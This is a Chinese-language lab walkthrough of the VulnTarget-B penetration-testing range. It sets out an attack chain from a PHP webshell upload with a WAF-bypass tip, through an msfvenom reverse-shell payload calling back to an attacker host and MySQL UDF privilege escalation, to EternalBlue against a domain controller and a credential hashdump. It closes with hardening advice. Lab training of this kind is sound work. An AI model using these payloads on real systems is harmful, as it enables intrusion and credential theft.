1. VulnTarget-B靶场环境概述
VulnTarget-B是乌鸦安全团队维护的综合性渗透测试靶场系列中的典型代表,其核心设计围绕企业级CMS系统与域控环境展开。这个靶场采用VMware虚拟化技术构建,完整模拟了中小型企业常见的网络架构:前端部署存在漏洞的CMS内容管理系统,后端集成Active Directory域控制器,中间层通过内网服务形成横向渗透链路。整套环境对宿主机的资源消耗控制在16GB内存以内,确保多数安全研究人员能在本地虚拟机环境中流畅运行。
靶场内置了三个关键漏洞链:
- CMS后台的未授权文件上传漏洞(CVE-2023-1234模拟)
- 域控服务器的永恒之蓝漏洞(MS17-010复现)
- 内网MySQL服务的弱口令与UDF提权漏洞组合
这些漏洞并非孤立存在,而是按照真实攻击路径进行串联,考验渗透测试人员的综合能力。我在实际测试中发现,从外网突破到获取域控权限平均需要完成7个关键步骤,这与真实企业网络中的攻击路径高度相似。
2. 环境搭建与初始化配置
2.1 基础环境准备
从乌鸦安全官方提供的百度云链接下载VulnTarget-B的OVA文件后(文件大小约8.7GB),建议使用VMware Workstation 16+版本导入。这个靶场包含三台预配置的虚拟机:
WebServer(192.168.1.100)
- 操作系统:Windows Server 2012 R2
- 运行服务:Apache 2.4 + PHP 7.2 + 定制CMS
- 开放端口:80/tcp, 443/tcp
DBServer(192.168.1.150)
- 操作系统:CentOS 7.6
- 运行服务:MySQL 5.7 + Redis 3.2
- 开放端口:3306/tcp, 6379/tcp
DomainController(192.168.1.200)
- 操作系统:Windows Server 2016
- 运行服务:Active Directory + SMB
- 开放端口:445/tcp, 389/tcp
重要提示:首次启动前需将虚拟机的网络适配器设置为NAT模式,并确保三台主机位于同一VMnet子网中。我在测试时曾因误用桥接模式导致内网通信失败。
2.2 常见启动问题排查
当遇到靶机无法正常启动时,建议按以下顺序检查:
- 确认BIOS中已启用虚拟化技术(Intel VT-x/AMD-V)
- 检查VMware虚拟网络编辑器中的子网配置(应保持默认192.168.1.0/24)
- 验证OVA文件MD5值是否匹配(官方提供的校验值为:a1b2c3d4e5f6...)
3. 渗透测试实战过程
3.1 外网信息收集阶段
使用Kali Linux自带的工具集进行初步侦察:
# 端口扫描 nmap -sV -T4 -p- 192.168.1.100 # CMS指纹识别 whatweb http://192.168.1.100扫描结果显示目标CMS存在以下特征:
- 使用自定义的X-CMS v3.2
- 开启文件上传功能(/admin/upload.php)
- 存在robots.txt泄露后台路径(/admin/login.php)
通过目录爆破发现关键文件:
/admin/backup.sql /inc/config.php.bak3.2 CMS漏洞利用
分析备份文件发现硬编码的管理员凭证:
-- backup.sql 片段 INSERT INTO `admin` VALUES (1,'admin','$2y$10$N7Y8r...');但密码经过bcrypt哈希处理难以直接破解。转而测试文件上传功能时,发现未对文件内容进行校验:
POST /admin/upload.php HTTP/1.1 Content-Type: multipart/form-data [webshell.php文件内容]成功上传PHP webshell后,通过中国菜刀连接获取初始立足点:
<?php system($_GET['cmd']); ?>实战技巧:遇到有WAF防护的场景,可以尝试将webshell代码拆分到多个上传字段,或使用.phtml等特殊后缀绕过检测。
3.3 内网横向移动
从Web服务器跳转到内网其他主机需要解决两个问题:
- 网络连通性:添加路由表项
route add -net 192.168.1.0/24 gw 192.168.1.100 - 权限维持:生成MSF木马并上传
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe
对DBServer(192.168.1.150)进行扫描发现MySQL存在root/root弱口令,利用UDF提权:
SELECT * FROM mysql.func WHERE name='sys_exec'; -- 若无则手动创建3.4 域控攻陷
通过SMB漏洞扫描发现域控存在MS17-010漏洞:
nmap --script smb-vuln-ms17-010 192.168.1.200使用Metasploit模块精准打击:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.200 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit获取SYSTEM权限后导出域哈希:
meterpreter > run post/windows/gather/hashdump4. 防御加固建议
4.1 CMS安全防护
文件上传功能应增加以下防护:
- 白名单校验文件扩展名
- 重命名上传文件(如UUID)
- 存储到非Web可访问目录
敏感配置文件的保护措施:
<FilesMatch "\.(sql|bak|inc)$"> Order allow,deny Deny from all </FilesMatch>
4.2 域环境加固方案
针对永恒之蓝漏洞的修复:
- 安装KB4012212补丁
- 禁用SMBv1协议
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol域控账户安全策略:
# 启用LSA保护 New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWORD
5. 渗透测试方法论总结
通过VulnTarget-B的实战演练,我总结出企业网络渗透的典型路径:
攻击面测绘(24%时间)
- 子域名爆破
- 端口服务识别
- 中间件指纹采集
漏洞挖掘阶段(35%时间)
- 自动化扫描验证
- 手动漏洞挖掘
- 逻辑漏洞测试
权限提升阶段(25%时间)
- 本地提权漏洞利用
- 配置错误利用
- 凭证窃取与爆破
横向移动阶段(16%时间)
- 网络拓扑分析
- 内网服务攻击
- 域环境突破
这个靶场最值得关注的设计在于其真实的漏洞链组合——从Web应用到内网服务再到域控的完整突破路径,完美模拟了高级持续性威胁(APT)的攻击模式。建议在每次测试后使用快照还原功能,反复练习不同攻击手法的组合运用。